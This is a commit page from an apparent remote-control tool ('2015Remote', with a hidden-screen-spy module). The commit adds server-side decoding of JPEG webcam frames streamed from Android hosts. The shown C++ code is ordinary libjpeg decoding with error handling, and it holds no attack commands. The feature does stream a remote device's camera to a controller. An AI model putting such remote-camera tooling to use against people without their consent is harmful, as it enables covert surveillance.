Feature: support camera streaming on Android hosts
Android 摄像头(COMMAND_WEBCAM)此前未实现。客户端用 Camera2 ImageReader 直接输出 JPEG(1280x720、8fps、按传感器方向摆正),第一帧到达时从 JPEG SOF 读出真实宽高再发 TOKEN_WEBCAM_BITMAPINFO(部分 HAL 会按方向物理旋转 导致宽高互换,以实际帧为准可避免服务端尺寸不符丢帧黑屏),之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][JPGD][JPEG]。 服务端视频对话框识别 JPGD FOURCC,用 libjpeg 直接解成 bottom-up BGR24; DrawDib 与「保存 AVI」两条路径都不用改,目标机也不需要安装 VFW 编解码器。 BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算。 注意:服务端不要引用 turbojpeg 的 tj* 符号——会拉进与 Debug 构建不兼容的 运行时,启动即 0xC0000005;解码统一走项目已在用的 jpeg_* API。 验证:模拟器虚拟相机出图,窗口标题 127.0.0.1 - Video 1280x720;关闭对话框 后 camera stopped,服务端稳定。 Model: deepseek-flash Co-Authored-By: Claude Code <noreply@anthropic.com>
This commit is contained in:
1 parent
28c0c9a2a6
commit
998c16edc5
11 files changed
+739
-1
No files matched your search
@@ -5,6 +5,9 @@
|
||||
#include "2015Remote.h"
|
||||
#include "VideoDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
// Android 客户端直接发 JPEG:用项目已在用的 libjpeg(HideScreenSpyDlg.cpp 的
|
||||
// JPG_BMP 走同一套 API 与同一份库),不再引入 turbojpeg 的 tj* 运行时符号。
|
||||
#include "../common/jpeglib.h"
|
||||
|
||||
|
||||
enum {
|
||||
@@ -194,6 +197,11 @@ void CVideoDlg::DrawDIB(void)
|
||||
}
|
||||
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
|
||||
memcpy(m_BitmapData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen);
|
||||
} else if (*(LPDWORD)(szBuffer + 2) == ENCODER_JPEG_DIRECT) {
|
||||
// Android(Camera2)直接发 JPEG:不经过 VFW ICM,turbojpeg 直解
|
||||
if (DecodeJpegFrame(szBuffer + nHeadLen, ulBufferLen - nHeadLen)) {
|
||||
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
|
||||
}
|
||||
} else { // 解码
|
||||
////这里缓冲区里的的第二个字符正好是是否视频解码
|
||||
InitCodec(*(LPDWORD)(szBuffer + 2)); //判断
|
||||
@@ -210,6 +218,95 @@ void CVideoDlg::DrawDIB(void)
|
||||
}
|
||||
|
||||
|
||||
namespace {
|
||||
|
||||
// libjpeg 的默认 error_exit 会调 exit():一帧畸形 JPEG 就能结束整个服务端。
|
||||
// 与 HideScreenSpyDlg.cpp 的 JPG_BMP 同一套 setjmp/longjmp 兜底。
|
||||
struct VideoJpegErrorMgr {
|
||||
jpeg_error_mgr pub; // 必须是第一个成员
|
||||
jmp_buf jb;
|
||||
};
|
||||
|
||||
void VideoJpegErrorExit(j_common_ptr cinfo)
|
||||
{
|
||||
longjmp(reinterpret_cast<VideoJpegErrorMgr*>(cinfo->err)->jb, 1);
|
||||
}
|
||||
|
||||
void VideoJpegSilentMessage(j_common_ptr /*cinfo*/)
|
||||
{
|
||||
// 畸形/截断的 JPEG 可能被反复发送,保持静默避免刷屏
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
// Android 客户端(COMMAND_WEBCAM → Camera2 JPEG)的帧解码。
|
||||
// BITMAPINFO 描述的是解码后的位图(BI_RGB / 24bpp / bottom-up),与 Windows
|
||||
// 摄像头的 DIB 布局一致,DrawDib 和「保存 AVI」两条路径都不用改。
|
||||
bool CVideoDlg::DecodeJpegFrame(const BYTE* data, UINT len)
|
||||
{
|
||||
if (!data || len == 0 || !m_BitmapInfor_Full || !m_BitmapData_Full)
|
||||
return false;
|
||||
|
||||
const int dw = m_BitmapInfor_Full->bmiHeader.biWidth;
|
||||
const int dh = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
|
||||
if (dw <= 0 || dh <= 0)
|
||||
return false;
|
||||
|
||||
// 值初始化:longjmp 回来后要 destroy,不能是栈上的垃圾指针
|
||||
struct jpeg_decompress_struct jds = {};
|
||||
VideoJpegErrorMgr jem;
|
||||
jds.err = jpeg_std_error(&jem.pub);
|
||||
jem.pub.error_exit = VideoJpegErrorExit;
|
||||
jem.pub.output_message = VideoJpegSilentMessage;
|
||||
|
||||
volatile bool created = false;
|
||||
if (setjmp(jem.jb) != 0) {
|
||||
if (created) jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
|
||||
jpeg_create_decompress(&jds);
|
||||
created = true;
|
||||
jpeg_mem_src(&jds, const_cast<unsigned char*>(data), len);
|
||||
|
||||
if (jpeg_read_header(&jds, TRUE) != JPEG_HEADER_OK) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
if ((int)jds.image_width != dw || (int)jds.image_height != dh) {
|
||||
// BITMAPINFO 与相机分辨率在同一会话里固定;尺寸对不上宁可丢帧
|
||||
Mprintf("[Video] JPEG %ux%u != bitmap %dx%d, frame dropped\n",
|
||||
jds.image_width, jds.image_height, dw, dh);
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
|
||||
jds.out_color_space = JCS_EXT_BGR;
|
||||
if (!jpeg_start_decompress(&jds)) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
|
||||
// BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算(见 Android 客户端
|
||||
// SendBitmapInfo),这里逐行写回 bottom-up:第 0 行是图像最底部。
|
||||
const int stride = (dw * 3 + 3) & ~3;
|
||||
while (jds.output_scanline < jds.output_height) {
|
||||
const int y = (int)jds.output_scanline;
|
||||
JSAMPROW row = m_BitmapData_Full + (size_t)(dh - 1 - y) * stride;
|
||||
if (jpeg_read_scanlines(&jds, &row, 1) != 1) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!jpeg_finish_decompress(&jds)) {
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return false;
|
||||
}
|
||||
jpeg_destroy_decompress(&jds);
|
||||
return true;
|
||||
}
|
||||
|
||||
void CVideoDlg::InitCodec(DWORD fccHandler)
|
||||
{
|
||||
if (m_pVideoCodec != NULL)
|
||||
|
||||
Reference in new issue
Block a user